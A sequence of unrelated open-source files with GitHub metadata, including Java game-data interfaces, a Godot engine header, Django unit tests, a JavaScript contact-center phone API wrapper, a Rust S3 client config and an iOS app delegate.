List<Sector> listMultiOwners(final Game thisGame);
/**
* List all nations that have ships in the given position.
*
* @param thisPosition the position.
* @return a list of nations.
*/
List<Nation> listOwners(final Position thisPosition);
/**
* List the number of ships per sector for particular nation.
*
* @param thisGame the Game .
* @param thisNation the Nation owner.
* @return a mapping of ship count to sectors.
*/
Map<Sector, BigInteger> countShips(final Game thisGame, final Nation thisNation);
/**
* Count the number of ships at the given position based on their owner.
*
* @param thisPosition the position.
* @param onlyMerchant true, count only Merchant, false count only warships.
* @return a mapping of ships count to nations.
*/
Map<Nation, BigInteger> countShipsByOwner(final Position thisPosition, final boolean onlyMerchant);
/**
* Count the number of ships at the given position based on their owner.
*
* @param thisPosition the position.
* @return a mapping of ships count to nations.
*/
Map<Nation, BigInteger> countNearbyShipsByOwner(final Position thisPosition);
/**
* Remove all the flags signifying participation in a naval battle.
*
* @param thisGame the game to select.
*/
void removeNavalFlag(final Game thisGame);
/**
* Remove all the flags signifying movement.
*
* @param thisGame the game to select.
*/
void removeHasMovedFlag(final Game thisGame);
/**
* List all ships positioned at a given sector.
*
* @param position the position to check.
* @return the list of ships.
*/
List<Ship> listAllBySector(final Position position);
}
| {'content_hash': 'c0346f5dd386d9c86a51cb43cd6521b8', 'timestamp': '', 'source': 'github', 'line_count': 200, 'max_line_length': 105, 'avg_line_length': 30.56, 'alnum_prop': 0.6482329842931938, 'repo_name': 'EaW1805/data', 'id': '8ca0f13b675be75ad137bc0a7be3a9dd9104431c', 'size': '6112', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/main/java/com/eaw1805/data/managers/beans/ShipManagerBean.java', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'HTML', 'bytes': '5407'}, {'name': 'Java', 'bytes': '1613914'}]} |
import collections
from supriya.ugens.PV_MagSquared import PV_MagSquared
class PV_MagNoise(PV_MagSquared):
"""
Multiplies magnitudes by noise.
::
>>> pv_chain = supriya.ugens.FFT(
... source=supriya.ugens.WhiteNoise.ar(),
... )
>>> pv_mag_noise = supriya.ugens.PV_MagNoise.new(
... pv_chain=pv_chain,
... )
>>> pv_mag_noise
PV_MagNoise.kr()
"""
### CLASS VARIABLES ###
_ordered_input_names = collections.OrderedDict([("pv_chain", None)])
| {'content_hash': '315b9f1b59e3af61cf70e175c42e6bf7', 'timestamp': '', 'source': 'github', 'line_count': 25, 'max_line_length': 72, 'avg_line_length': 22.0, 'alnum_prop': 0.5527272727272727, 'repo_name': 'Pulgama/supriya', 'id': 'ecaa0ca5064dcf587b15d4d42ff500a5eb243506', 'size': '550', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'supriya/ugens/PV_MagNoise.py', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Batchfile', 'bytes': '6712'}, {'name': 'CSS', 'bytes': '446'}, {'name': 'HTML', 'bytes': '1083'}, {'name': 'JavaScript', 'bytes': '6163'}, {'name': 'Makefile', 'bytes': '6775'}, {'name': 'Python', 'bytes': '2790612'}, {'name': 'Shell', 'bytes': '569'}]} |
//Copyright(c) 2001-2021 Aspose Pty Ltd.All rights reserved.
//https://github.com/aspose-barcode/Aspose.BarCode-for-.NET
using System;
using System.Text;
using Aspose.BarCode.Generation;
using Aspose.BarCode.BarCodeRecognition;
namespace Aspose.BarCode.Examples.CSharp.BarcodeGeneration
{
internal class MacroPdf417Optional : TwoDBase
{
public static void Run()
{
string path = GetFolder();
System.Console.WriteLine("MacroPdf417Optional:");
Console.OutputEncoding = Encoding.Unicode;
BarcodeGenerator gen = new BarcodeGenerator(EncodeTypes.MacroPdf417, "Åspóse.Barcóde©");
gen.Parameters.Barcode.XDimension.Pixels = 2;
//set metadata
gen.Parameters.Barcode.Pdf417.Pdf417MacroFileID = 12345678;
gen.Parameters.Barcode.Pdf417.Pdf417MacroSegmentID = 12;
gen.Parameters.Barcode.Pdf417.Pdf417MacroSegmentsCount = 20;
gen.Parameters.Barcode.Pdf417.Pdf417MacroFileName = "file01";
//checksumm must be calculated in CCITT-16 / CRC-16-CCITT encoding
//https://en.wikipedia.org/wiki/Cyclic_redundancy_check#Polynomial_representations_of_cyclic_redundancy_checks
//for the example we use random number
gen.Parameters.Barcode.Pdf417.Pdf417MacroChecksum = 1234;
gen.Parameters.Barcode.Pdf417.Pdf417MacroFileSize = 400000;
gen.Parameters.Barcode.Pdf417.Pdf417MacroTimeStamp = new DateTime(2019, 11, 1);
gen.Parameters.Barcode.Pdf417.Pdf417MacroAddressee = "street";
gen.Parameters.Barcode.Pdf417.Pdf417MacroSender = "aspose";
gen.Save($"{path}MacroPdf417Optional.png", BarCodeImageFormat.Png);
//try to recognize it
BarCodeReader read = new BarCodeReader(gen.GenerateBarCodeImage(), DecodeType.MacroPdf417);
foreach (BarCodeResult result in read.ReadBarCodes())
{
Console.WriteLine("---MacroPdf417Optional---");
Console.WriteLine("Codetext:" + result.CodeText);
Console.WriteLine("Pdf417MacroFileID:" + result.Extended.Pdf417.MacroPdf417FileID);
Console.WriteLine("Pdf417MacroSegmentID:" + result.Extended.Pdf417.MacroPdf417SegmentID.ToString());
Console.WriteLine("Pdf417MacroSegmentsCount:" + result.Extended.Pdf417.MacroPdf417SegmentsCount.ToString());
Console.WriteLine("Pdf417MacroFileName:" + result.Extended.Pdf417.MacroPdf417FileName);
Console.WriteLine("Pdf417MacroChecksum:" + result.Extended.Pdf417.MacroPdf417Checksum.ToString());
Console.WriteLine("Pdf417MacroFileSize:" + result.Extended.Pdf417.MacroPdf417FileSize.ToString());
Console.WriteLine("Pdf417MacroTimeStamp:" + result.Extended.Pdf417.MacroPdf417TimeStamp.ToString());
Console.WriteLine("Pdf417MacroAddressee:" + result.Extended.Pdf417.MacroPdf417Addressee);
Console.WriteLine("Pdf417MacroSender:" + result.Extended.Pdf417.MacroPdf417Sender);
}
}
}
} | {'content_hash': '20c438070c7fb027389f37469e474345', 'timestamp': '', 'source': 'github', 'line_count': 52, 'max_line_length': 124, 'avg_line_length': 59.75, 'alnum_prop': 0.6861924686192469, 'repo_name': 'aspose-barcode/Aspose.BarCode-for-.NET', 'id': '70049c30ee1911aba05a8d31c362f7f45b39770e', 'size': '3113', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Examples/CSharp/BarcodeGeneration/Barcode2D/MacroPdf417Optional.cs', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'ASP.NET', 'bytes': '2339'}, {'name': 'C#', 'bytes': '34258'}, {'name': 'CSS', 'bytes': '3794'}, {'name': 'HTML', 'bytes': '1778'}, {'name': 'JavaScript', 'bytes': '54709'}]} |
package com.sun.source.util;
import com.sun.source.tree.*;
/**
* A TreeVisitor that visits all the child tree nodes, and provides
* support for maintaining a path for the parent nodes.
* To visit nodes of a particular type, just override the
* corresponding visitorXYZ method.
* Inside your method, call super.visitXYZ to visit descendant
* nodes.
*
* @author Jonathan Gibbons
* @since 1.6
*/
@jdk.Exported
public class TreePathScanner<R, P> extends TreeScanner<R, P> {
/**
* Scan a tree from a position identified by a TreePath.
*/
public R scan(TreePath path, P p) {
this.path = path;
try {
return path.getLeaf().accept(this, p);
} finally {
this.path = null;
}
}
/**
* Scan a single node.
* The current path is updated for the duration of the scan.
*/
@Override
public R scan(Tree tree, P p) {
if (tree == null)
return null;
TreePath prev = path;
path = new TreePath(path, tree);
try {
return tree.accept(this, p);
} finally {
path = prev;
}
}
/**
* Get the current path for the node, as built up by the currently
* active set of scan calls.
*/
public TreePath getCurrentPath() {
return path;
}
private TreePath path;
}
| {'content_hash': '04a789be713cee905401a4c9e6f0a149', 'timestamp': '', 'source': 'github', 'line_count': 60, 'max_line_length': 70, 'avg_line_length': 22.9, 'alnum_prop': 0.5829694323144105, 'repo_name': 'rokn/Count_Words_2015', 'id': '967bcfd809b61cd52d3e4b22e7f109650c0df7ed', 'size': '2586', 'binary': False, 'copies': '38', 'ref': 'refs/heads/master', 'path': 'testing/openjdk2/langtools/src/share/classes/com/sun/source/util/TreePathScanner.java', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '61802'}, {'name': 'Ruby', 'bytes': '18888605'}]} |
/*************************************************************************/
/* path_3d.h */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2022 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2022 Godot Engine contributors (cf. AUTHORS.md). */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#ifndef PATH_3D_H
#define PATH_3D_H
#include "scene/3d/node_3d.h"
#include "scene/resources/curve.h"
class Path3D : public Node3D {
GDCLASS(Path3D, Node3D);
Ref<Curve3D> curve;
void _curve_changed();
RID debug_instance;
Ref<ArrayMesh> debug_mesh;
private:
void _update_debug_mesh();
protected:
void _notification(int p_what);
static void _bind_methods();
public:
void set_curve(const Ref<Curve3D> &p_curve);
Ref<Curve3D> get_curve() const;
Path3D();
~Path3D();
};
class PathFollow3D : public Node3D {
GDCLASS(PathFollow3D, Node3D);
public:
enum RotationMode {
ROTATION_NONE,
ROTATION_Y,
ROTATION_XY,
ROTATION_XYZ,
ROTATION_ORIENTED
};
private:
Path3D *path = nullptr;
real_t prev_offset = 0.0; // Offset during the last _update_transform.
real_t progress = 0.0;
real_t h_offset = 0.0;
real_t v_offset = 0.0;
bool cubic = true;
bool loop = true;
RotationMode rotation_mode = ROTATION_XYZ;
void _update_transform(bool p_update_xyz_rot = true);
protected:
void _validate_property(PropertyInfo &p_property) const;
void _notification(int p_what);
static void _bind_methods();
public:
void set_progress(real_t p_progress);
real_t get_progress() const;
void set_h_offset(real_t p_h_offset);
real_t get_h_offset() const;
void set_v_offset(real_t p_v_offset);
real_t get_v_offset() const;
void set_progress_ratio(real_t p_ratio);
real_t get_progress_ratio() const;
void set_loop(bool p_loop);
bool has_loop() const;
void set_rotation_mode(RotationMode p_rotation_mode);
RotationMode get_rotation_mode() const;
void set_cubic_interpolation(bool p_enable);
bool get_cubic_interpolation() const;
TypedArray<String> get_configuration_warnings() const override;
PathFollow3D() {}
};
VARIANT_ENUM_CAST(PathFollow3D::RotationMode);
#endif // PATH_3D_H
| {'content_hash': 'fd9b6c9c459cebf8040ade46276a1807', 'timestamp': '', 'source': 'github', 'line_count': 122, 'max_line_length': 75, 'avg_line_length': 32.959016393442624, 'alnum_prop': 0.5630440189007709, 'repo_name': 'ZuBsPaCe/godot', 'id': '45fa2c891748f274d08eb94861020759362ef0cb', 'size': '4021', 'binary': False, 'copies': '3', 'ref': 'refs/heads/master', 'path': 'scene/3d/path_3d.h', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'AIDL', 'bytes': '1633'}, {'name': 'C', 'bytes': '1045182'}, {'name': 'C#', 'bytes': '1605400'}, {'name': 'C++', 'bytes': '39214077'}, {'name': 'CMake', 'bytes': '606'}, {'name': 'GAP', 'bytes': '62'}, {'name': 'GDScript', 'bytes': '66163'}, {'name': 'GLSL', 'bytes': '830941'}, {'name': 'Java', 'bytes': '596106'}, {'name': 'JavaScript', 'bytes': '188456'}, {'name': 'Kotlin', 'bytes': '93069'}, {'name': 'Makefile', 'bytes': '1421'}, {'name': 'Objective-C', 'bytes': '20550'}, {'name': 'Objective-C++', 'bytes': '381709'}, {'name': 'PowerShell', 'bytes': '2713'}, {'name': 'Python', 'bytes': '461706'}, {'name': 'Shell', 'bytes': '32416'}]} |
from django.test import TestCase
from django.utils.timezone import get_current_timezone
from app.utils import *
from app.myblog.models import Article, Classification
class TestEncodeJson(TestCase):
def test_ecnode(self):
res = encodejson(1, {})
self.assertIsInstance(res ,str)
class TestCreateRandom(TestCase):
def test_create(self):
res = create_random_str(10)
self.assertEqual(len(res), 10)
res = create_random_str(62)
self.assertEqual(len(res), 62)
res = create_random_str(63)
self.assertEqual(res, 'too long str')
def test_format(self):
res = create_random_str(60)
for itm in ['+', '-', '_', '=', '|', '!', '?', '`', '~', '@', '#', '$', '%', '^', '&', '*', '(', ')']:
self.assertNotIn(itm, res)
class TestString2Datetime(TestCase):
def test_convert(self):
sample = '2011-1-1 19:25:01'
res = string_to_datetime(sample)
self.assertIsInstance(res, datetime.datetime)
self.assertEqual(res.second, 1)
self.assertEqual(res.minute, 25)
self.assertEqual(res.hour, 19)
self.assertEqual(res.day, 1)
self.assertEqual(res.month, 1)
self.assertEqual(res.year, 2011)
def test_format(self):
sample = '2015/1/1 23-12-11'
format_str = '%Y/%m/%d %H-%M-%S'
res = string_to_datetime(sample, format_str)
self.assertIsInstance(res, datetime.datetime)
class TestDatetime2Timestamp(TestCase):
def test_convert(self):
sample = datetime.datetime.now()
res = datetime_to_timestamp(sample)
self.assertIsInstance(res, float)
sample.replace(tzinfo=get_current_timezone())
res = datetime_to_timestamp(sample)
self.assertIsInstance(res, float)
class TestDatetime2String(TestCase):
def test_convert(self):
sample = string_to_datetime('2011-1-1 19:25:01')
res = datetime_to_string(sample)
self.assertEqual(res, '2011-01-01 19:25:01')
sample.replace(tzinfo=get_current_timezone())
res = datetime_to_string(sample)
self.assertEqual(res, '2011-01-01 19:25:01')
class TestDatetime2UtcString(TestCase):
def test_convert(self):
sample = string_to_datetime('2011-1-1 19:25:01')
res = datetime_to_utc_string(sample)
self.assertEqual(res, '2011-01-01 19:25:01+08:00')
class TestModeSerializer(TestCase):
def setUp(self):
classify = Classification.objects.create(c_name='test')
art = Article.objects.create(caption='article',
sub_caption='sub_article',
classification=classify,
content='article test')
art1 = Article.objects.create(caption='article1',
sub_caption='sub_article',
classification=classify,
content='article test')
def test_serializer(self):
art = Article.objects.get(caption='article')
serial = model_serializer(art)
self.assertIsInstance(serial, dict)
serial = model_serializer(art, serializer='json')
self.assertIsInstance(serial, str)
serial = model_serializer(art, serializer='xml')
self.assertIn('xml version="1.0', serial)
def test_serializer_list(self):
art_list = Article.objects.all()
serial = model_serializer(art_list)
self.assertIsInstance(serial, list)
serial = model_serializer(art_list, serializer='json')
self.assertIsInstance(serial, str)
def test_include(self):
art = Article.objects.get(caption='article')
serial = model_serializer(art, include_attr=['caption', 'content'])
self.assertIn('caption', serial)
self.assertNotIn('create_time', serial)
def test_except(self):
art = Article.objects.get(caption='article')
serial = model_serializer(art, except_attr=['caption', 'content'])
self.assertNotIn('caption', serial)
self.assertIn('create_time', serial)
def test_include_except(self):
art = Article.objects.get(caption='article')
serial = model_serializer(art, include_attr=['caption', 'content'], except_attr=['content'])
self.assertIn('caption', serial)
self.assertNotIn('content', serial)
class TestCreateVerifyPic(TestCase):
def test_create(self):
img, code = create_verify_code()
self.assertIsInstance(img, str)
self.assertIsInstance(code, str)
| {'content_hash': 'cca036fde1a653baec31b280e0478f0d', 'timestamp': '', 'source': 'github', 'line_count': 126, 'max_line_length': 110, 'avg_line_length': 36.26984126984127, 'alnum_prop': 0.613129102844639, 'repo_name': 'madarou/angular-django', 'id': 'b7bc6922332a89a585b6ffbc09e0aa106a795778', 'size': '4570', 'binary': False, 'copies': '2', 'ref': 'refs/heads/master', 'path': 'tests/test_utils.py', 'mode': '33261', 'license': 'bsd-2-clause', 'language': [{'name': 'CSS', 'bytes': '356826'}, {'name': 'HTML', 'bytes': '77340'}, {'name': 'Python', 'bytes': '1816255'}]} |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
const wildemitter = require("wildemitter");
const ApiBase_1 = require("../ApiBase");
/**
* AgentPhone api implementation.
*/
class AgentPhone {
/**
* AgentPhone api implementation.
*
* @param {Object} agentPhoneOptions A collection of options.
*
* @example
* options = {
* debug: true,
* domainURIPath: "https://api-a32.nice-incontact.com/inContactAPI",
* baseURIPath: "/services/v15.0/",
* authorization: "Bearer [Token Value]",
* timeout: 10000, // default is '0' (0 seconds timeout)
* }
*/
constructor(agentPhoneOptions) {
this.agentPhoneOptions = agentPhoneOptions;
// local.
let self = this;
let parent = agentPhoneOptions.parent;
let uniqueID = "Agent.AgentPhone.";
let item;
let options = agentPhoneOptions || {};
let config = this.config = {
debug: false,
domainURIPath: "https://api-a32.nice-incontact.com/inContactAPI",
baseURIPath: "/services/v15.0/",
authorization: "Bearer [Token Value]",
timeout: 0
};
// Assign global.
this.parent = parent;
this.logger = parent.logger;
this.uniqueID = uniqueID;
// set our config from options
for (item in options) {
if (options.hasOwnProperty(item)) {
this.config[item] = options[item];
}
}
// Call WildEmitter constructor.
wildemitter.mixin(AgentPhone);
// Create the request instance.
this.apirequest = new ApiBase_1.ApiRequest(this.config);
}
/**
* Dial agent phone.
*
* @param {string} sessionId The session id.
* @param {Object} requestOptions A collection of request options.
*
* @example
* options = {
* timeout: 10000, // default is '0' (0 seconds timeout),
* cancelToken: new CancelToken(function (cancel) {}) // 'cancelToken' specifies a cancel token that can be used to cancel the request (see Cancellation section below for details)
*
* // 'params' are the URL parameters to be sent with the request
* // Must be a plain object or a URLSearchParams object
* params: { ID: 12345 },
*
* // 'data' is the data to be sent as the request body.
* data: { ID: 'Unique' },
* }
*/
dialAgentPhoneAsync(sessionId, requestOptions) {
// Create local refs.
let localExecute = 'Dial agent phone';
let localUniqueID = this.uniqueID + "dialAgentPhoneAsync";
let localUrl = 'agent-sessions/' + sessionId + '/agent-phone/dial';
let localTimeout = this.config.timeout;
// Assign the request options.
let options = requestOptions || {};
let requestConfig = {
url: localUrl,
method: 'POST',
baseURL: this.config.domainURIPath + this.config.baseURIPath,
headers: {
'Authorization': this.config.authorization,
'Content-Type': 'application/json'
},
timeout: localTimeout
};
// Execute the request.
this.apirequest.request(localExecute, localUniqueID, requestConfig, options);
}
/**
* Mute agent phone.
*
* @param {string} sessionId The session id.
* @param {Object} requestOptions A collection of request options.
*
* @example
* options = {
* timeout: 10000, // default is '0' (0 seconds timeout),
* cancelToken: new CancelToken(function (cancel) {}) // 'cancelToken' specifies a cancel token that can be used to cancel the request (see Cancellation section below for details)
*
* // 'params' are the URL parameters to be sent with the request
* // Must be a plain object or a URLSearchParams object
* params: { ID: 12345 },
*
* // 'data' is the data to be sent as the request body.
* data: { ID: 'Unique' },
* }
*/
muteAgentPhoneAsync(sessionId, requestOptions) {
// Create local refs.
let localExecute = 'Mute agent phone';
let localUniqueID = this.uniqueID + "muteAgentPhoneAsync";
let localUrl = 'agent-sessions/' + sessionId + '/agent-phone/mute';
let localTimeout = this.config.timeout;
// Assign the request options.
let options = requestOptions || {};
let requestConfig = {
url: localUrl,
method: 'POST',
baseURL: this.config.domainURIPath + this.config.baseURIPath,
headers: {
'Authorization': this.config.authorization,
'Content-Type': 'application/json'
},
timeout: localTimeout
};
// Execute the request.
this.apirequest.request(localExecute, localUniqueID, requestConfig, options);
}
/**
* Un-Mute agent phone.
*
* @param {string} sessionId The session id.
* @param {Object} requestOptions A collection of request options.
*
* @example
* options = {
* timeout: 10000, // default is '0' (0 seconds timeout),
* cancelToken: new CancelToken(function (cancel) {}) // 'cancelToken' specifies a cancel token that can be used to cancel the request (see Cancellation section below for details)
*
* // 'params' are the URL parameters to be sent with the request
* // Must be a plain object or a URLSearchParams object
* params: { ID: 12345 },
*
* // 'data' is the data to be sent as the request body.
* data: { ID: 'Unique' },
* }
*/
unMuteAgentPhoneAsync(sessionId, requestOptions) {
// Create local refs.
let localExecute = 'Un-Mute agent phone';
let localUniqueID = this.uniqueID + "unMuteAgentPhoneAsync";
let localUrl = 'agent-sessions/' + sessionId + '/agent-phone/unmute';
let localTimeout = this.config.timeout;
// Assign the request options.
let options = requestOptions || {};
let requestConfig = {
url: localUrl,
method: 'POST',
baseURL: this.config.domainURIPath + this.config.baseURIPath,
headers: {
'Authorization': this.config.authorization,
'Content-Type': 'application/json'
},
timeout: localTimeout
};
// Execute the request.
this.apirequest.request(localExecute, localUniqueID, requestConfig, options);
}
/**
* Ends the agents phone call.
*
* @param {string} sessionId The session id.
* @param {Object} requestOptions A collection of request options.
*
* @example
* options = {
* timeout: 10000, // default is '0' (0 seconds timeout),
* cancelToken: new CancelToken(function (cancel) {}) // 'cancelToken' specifies a cancel token that can be used to cancel the request (see Cancellation section below for details)
*
* // 'params' are the URL parameters to be sent with the request
* // Must be a plain object or a URLSearchParams object
* params: { ID: 12345 },
*
* // 'data' is the data to be sent as the request body.
* data: { ID: 'Unique' },
* }
*/
endAgentPhoneCallAsync(sessionId, requestOptions) {
// Create local refs.
let localExecute = 'Ends the agents phone call';
let localUniqueID = this.uniqueID + "endAgentPhoneCallAsync";
let localUrl = 'agent-sessions/' + sessionId + '/agent-phone/end';
let localTimeout = this.config.timeout;
// Assign the request options.
let options = requestOptions || {};
let requestConfig = {
url: localUrl,
method: 'POST',
baseURL: this.config.domainURIPath + this.config.baseURIPath,
headers: {
'Authorization': this.config.authorization,
'Content-Type': 'application/json'
},
timeout: localTimeout
};
// Execute the request.
this.apirequest.request(localExecute, localUniqueID, requestConfig, options);
}
}
exports.AgentPhone = AgentPhone;
| {'content_hash': '6103e6536a1dbe5b22ea24e9fe6b8739', 'timestamp': '', 'source': 'github', 'line_count': 214, 'max_line_length': 183, 'avg_line_length': 39.55140186915888, 'alnum_prop': 0.5763232514177694, 'repo_name': 'drazenzadravec/projects', 'id': '5b7a1b9fff6fa8381d97dba3a6f9039029cb1d58', 'size': '8464', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'nice/sdk/lakenicejs/api/agent/agentphone.js', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Batchfile', 'bytes': '2754'}, {'name': 'C', 'bytes': '720'}, {'name': 'C#', 'bytes': '5049589'}, {'name': 'C++', 'bytes': '2005494'}, {'name': 'CSS', 'bytes': '19127'}, {'name': 'HLSL', 'bytes': '452'}, {'name': 'HTML', 'bytes': '90518'}, {'name': 'JavaScript', 'bytes': '8105941'}, {'name': 'Shell', 'bytes': '234'}, {'name': 'TypeScript', 'bytes': '1588858'}]} |
use url::Url;
use toml;
use lsio::error::{Error, Result};
use lsio::config::{ConfigFile, ParseInto};
/// Config by default is located at $HOME/.s3lsio/config for a given user. You can pass in an option
/// on the cli ```-c "<whatever path you want>"``` and it will override the default.
///
/// If for some reason there is no config file and nothing is passed in the all of the
/// fields will be None for Option values or whatever the defaults are for a given type.
///
///
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct Config {
/// endpoint is in the format <scheme>://<fqdn>:<port>
pub endpoint: Option<Url>,
/// proxy is in the format <scheme>://<fqdn>:<port>
pub proxy: Option<Url>,
/// signature is either V2 or V4
pub signature: String,
}
impl ConfigFile for Config {
type Error = Error;
fn from_toml(toml: toml::Value) -> Result<Self> {
let mut cfg = Config::default();
try!(toml.parse_into("options.endpoint", &mut cfg.endpoint));
try!(toml.parse_into("options.proxy", &mut cfg.proxy));
try!(toml.parse_into("options.signature", &mut cfg.signature));
Ok(cfg)
}
}
impl Default for Config {
fn default() -> Self {
Config {
endpoint: None,
proxy: None,
signature: "V4".to_string(),
}
}
}
impl Config {
pub fn set_endpoint(&mut self, value: Option<Url>) {
self.endpoint = value;
}
pub fn set_proxy(&mut self, value: Option<Url>) {
self.proxy = value;
}
pub fn set_signature(&mut self, value: String) {
self.signature = value;
}
pub fn endpoint(&self) -> &Option<Url> {
&self.endpoint
}
pub fn proxy(&self) -> &Option<Url> {
&self.proxy
}
}
| {'content_hash': 'd3ea8ac83f81b03b397377c329a070b5', 'timestamp': '', 'source': 'github', 'line_count': 68, 'max_line_length': 100, 'avg_line_length': 26.13235294117647, 'alnum_prop': 0.5981992121553179, 'repo_name': 'lambdastackio/s3lsio', 'id': '86d5a0c2f90e21b877b685695cb76cde3941769c', 'size': '2383', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'src/config.rs', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'HTML', 'bytes': '662'}, {'name': 'Rust', 'bytes': '198061'}, {'name': 'Shell', 'bytes': '6705'}]} |
import React, { Component } from 'react';
import './App.css';
import Header from './components/header/header';
import Footer from './components/footer/footer';
import Acrylics from './components/acrylics/acrylics';
class App extends Component {
render() {
return (
<div className="App">
<Header/>
<Acrylics/>
<Footer/>
</div>
);
}
}
export default App;
| {'content_hash': '57485d01e9adc96300926dfc9d7e15dd', 'timestamp': '', 'source': 'github', 'line_count': 20, 'max_line_length': 54, 'avg_line_length': 20.2, 'alnum_prop': 0.6212871287128713, 'repo_name': 'bradyhouse/house', 'id': 'cd89fe6159834a1ec868b533e830d461e034b481', 'size': '404', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'fiddles/react/fiddle-0015-Portfolio/src/App.js', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'C', 'bytes': '26015'}, {'name': 'CSS', 'bytes': '3541537'}, {'name': 'HTML', 'bytes': '3275889'}, {'name': 'Handlebars', 'bytes': '1593'}, {'name': 'Java', 'bytes': '90609'}, {'name': 'JavaScript', 'bytes': '9249816'}, {'name': 'Less', 'bytes': '3364'}, {'name': 'PHP', 'bytes': '125609'}, {'name': 'Pug', 'bytes': '1758'}, {'name': 'Python', 'bytes': '20858'}, {'name': 'Ruby', 'bytes': '11317'}, {'name': 'SCSS', 'bytes': '37673'}, {'name': 'Shell', 'bytes': '1095755'}, {'name': 'TypeScript', 'bytes': '779887'}]} |
@interface AppDelegate () <UISplitViewControllerDelegate>
@end
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
// Override point for customization after application launch.
UISplitViewController *splitViewController = (UISplitViewController *)self.window.rootViewController;
UINavigationController *navigationController = [splitViewController.viewControllers lastObject];
navigationController.topViewController.navigationItem.leftBarButtonItem = splitViewController.displayModeButtonItem;
splitViewController.delegate = self;
return YES;
}
- (void)applicationWillResignActive:(UIApplication *)application {
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
// Use this method to pause ongoing tasks, disable timers, and throttle down OpenGL ES frame rates. Games should use this method to pause the game.
}
- (void)applicationDidEnterBackground:(UIApplication *)application {
// Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
// If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
// Called as part of the transition from the background to the inactive state; here you can undo many of the changes made on entering the background.
}
- (void)applicationDidBecomeActive:(UIApplication *)application {
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
}
- (void)applicationWillTerminate:(UIApplication *)application {
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}
#pragma mark - Split view
- (BOOL)splitViewController:(UISplitViewController *)splitViewController collapseSecondaryViewController:(UIViewController *)secondaryViewController ontoPrimaryViewController:(UIViewController *)primaryViewController {
if ([secondaryViewController isKindOfClass:[UINavigationController class]] && [[(UINavigationController *)secondaryViewController topViewController] isKindOfClass:[DetailViewController class]] && ([(DetailViewController *)[(UINavigationController *)secondaryViewController topViewController] detailItem] == nil)) {
// Return YES to indicate that we have handled the collapse by doing nothing; the secondary controller will be discarded.
return YES;
} else {
return NO;
}
}
@end
| {'content_hash': '860775067fb2a296bb2468dd3aeb795f', 'timestamp': '', 'source': 'github', 'line_count': 50, 'max_line_length': 318, 'avg_line_length': 60.58, 'alnum_prop': 0.7949818421921426, 'repo_name': 'AmitaiB/TDD_PracticeProject', 'id': '7908e8467cb39e00604f9bc55c953f3d32c7dc4b', 'size': '3252', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'AppDelegate.m', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'Objective-C', 'bytes': '14973'}, {'name': 'Ruby', 'bytes': '386'}]} |
class Solution < ActiveRecord::Base
belongs_to :user; belongs_to :issue
end
| {'content_hash': '6281e6baa3e03aaeef53359e7b937495', 'timestamp': '', 'source': 'github', 'line_count': 3, 'max_line_length': 37, 'avg_line_length': 26.0, 'alnum_prop': 0.7564102564102564, 'repo_name': 'dmc2015/securitypulse', 'id': 'f1d20fe7979c1f73ce0569fc6d4a847e58499428', 'size': '78', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'app/models/solution.rb', 'mode': '33188', 'license': 'mit', 'language': [{'name': 'CSS', 'bytes': '55583'}, {'name': 'CoffeeScript', 'bytes': '948'}, {'name': 'HTML', 'bytes': '21737'}, {'name': 'JavaScript', 'bytes': '729'}, {'name': 'Ruby', 'bytes': '55029'}]} |
/*Problem 9. Sorting array
Write a method that return the maximal element in a portion of array of integers starting at given index.
Using it write another method that sorts an array in ascending / descending order.*/
using System;
class Program
{
static void Main()
{
Console.Write("Enter array length n: ");
int n = int.Parse(Console.ReadLine());
Console.WriteLine("\nEnter {0} number(s) to array:", n);
